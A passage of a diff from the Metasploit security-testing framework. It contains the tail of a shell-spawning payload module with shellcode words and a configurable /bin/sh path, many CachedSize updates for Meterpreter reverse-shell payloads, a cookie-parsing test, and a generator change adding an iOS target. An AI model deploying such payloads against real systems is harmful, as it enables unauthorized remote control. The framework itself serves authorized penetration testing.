0x00000000, # .word 0x00000000
0x00000000, # .word 0x00000000
].pack("V*")
}
))
# Register command execution options
register_options(
[
OptString.new('SHELL', [ true, "The shell to execute.", "/bin/sh" ]),
])
end
def generate
p = super
sh = datastore['SHELL']
if sh.length >= 16
raise ArgumentError, "The specified shell must be less than 16 bytes."
end
p[136, sh.length] = sh
p
end
end

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 966280
CachedSize = 966336
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 966280
CachedSize = 966336
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 966280
CachedSize = 966336
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 902524
CachedSize = 902448
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 902524
CachedSize = 902448
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 902524
CachedSize = 902448
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 898776
CachedSize = 898700
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 898776
CachedSize = 898700
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 898776
CachedSize = 898700
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 1384552
CachedSize = 1384304
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 1384552
CachedSize = 1384304
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 1384552
CachedSize = 1384304
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 1280872
CachedSize = 1280788
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 1280872
CachedSize = 1280788
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 1280872
CachedSize = 1280788
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 1281916
CachedSize = 1281832
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 1281916
CachedSize = 1281832
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 1281916
CachedSize = 1281832
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 1060624
CachedSize = 1060552
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 1060624
CachedSize = 1060552
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 1060624
CachedSize = 1060552
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 1014112
CachedSize = 1014024
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 1014112
CachedSize = 1014024
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 1014112
CachedSize = 1014024
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
module MetasploitModule
CachedSize = 1013304
CachedSize = 1013232
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
module MetasploitModule
CachedSize = 1013304
CachedSize = 1013232
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppce500v2_linux'
module MetasploitModule
CachedSize = 1013304
CachedSize = 1013232
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
module MetasploitModule
CachedSize = 905984
CachedSize = 905896
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
module MetasploitModule
CachedSize = 905984
CachedSize = 905896
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
module MetasploitModule
CachedSize = 905984
CachedSize = 905896
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
module MetasploitModule
CachedSize = 956868
CachedSize = 956796
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
module MetasploitModule
CachedSize = 956868
CachedSize = 956796
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
module MetasploitModule
CachedSize = 956868
CachedSize = 956796
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
module MetasploitModule
CachedSize = 1071464
CachedSize = 1071376
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
module MetasploitModule
CachedSize = 1071464
CachedSize = 1071376
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
module MetasploitModule
CachedSize = 1071464
CachedSize = 1071376
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
module MetasploitModule
CachedSize = 802564
CachedSize = 802436
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
module MetasploitModule
CachedSize = 802564
CachedSize = 802436
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_osx'
module MetasploitModule
CachedSize = 802564
CachedSize = 802436
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 57798
CachedSize = 58486
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 57762
CachedSize = 58450
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 57762
CachedSize = 58450
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 57714
CachedSize = 58402
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -133,6 +133,14 @@ RSpec.describe Rex::Proto::Http::Response do
HEREDOC
end
let (:get_cookies_spaces_and_missing_semicolon) do
<<-HEREDOC.gsub(/^ {6}/, '')
HTTP/1.1 200 OK
Set-Cookie: k1=v1; k2=v2;k3=v3
HEREDOC
end
let (:meta_name) do
'META_NAME'
end
@ -176,7 +184,7 @@ RSpec.describe Rex::Proto::Http::Response do
<genre>Computer</genre>
<price>44.95</price>
<publish_date>2000-10-01</publish_date>
<description>An in-depth look at creating applications
<description>An in-depth look at creating applications
with XML.</description>
</book>
</catalog>
@ -396,6 +404,22 @@ RSpec.describe Rex::Proto::Http::Response do
expect(cookies_array).to include(*expected_cookies)
end
it 'parses cookies with inconsistent spacing and a missing trailing semicolons' do
resp = described_class.new()
resp.parse(self.send :get_cookies_spaces_and_missing_semicolon)
cookies = resp.get_cookies_parsed
names = cookies.keys.sort
values = []
cookies.each do |_, parsed|
parsed.value.each do |value|
values << value
end
end
values.sort!
expect(names).to eq(%w(k1 k2 k3))
expect(values).to eq(%w(v1 v2 v3))
end
end
end

View File

@ -25,6 +25,7 @@ arches = [
['x86', 'Linux', 'i486-linux-musl'],
['zarch', 'Linux', 's390x-linux-musl'],
['x64', 'OSX', 'x86_64-apple-darwin'],
['aarch64', 'Apple_iOS', 'aarch64-iphone-darwin'],
]
arch = ''
@ -42,7 +43,7 @@ arches.each do |a, pl, pa|
template = File::read(File::join(cwd, "meterpreter_reverse.erb"))
renderer = ERB.new(template)
filename = File::join('modules', 'payloads', 'singles', platform, arch, "meterpreter_reverse_#{scheme}.rb")
filename = File::join('modules', 'payloads', 'singles', platform.downcase, arch, "meterpreter_reverse_#{scheme}.rb")
File::write(filename, renderer.result())
end
end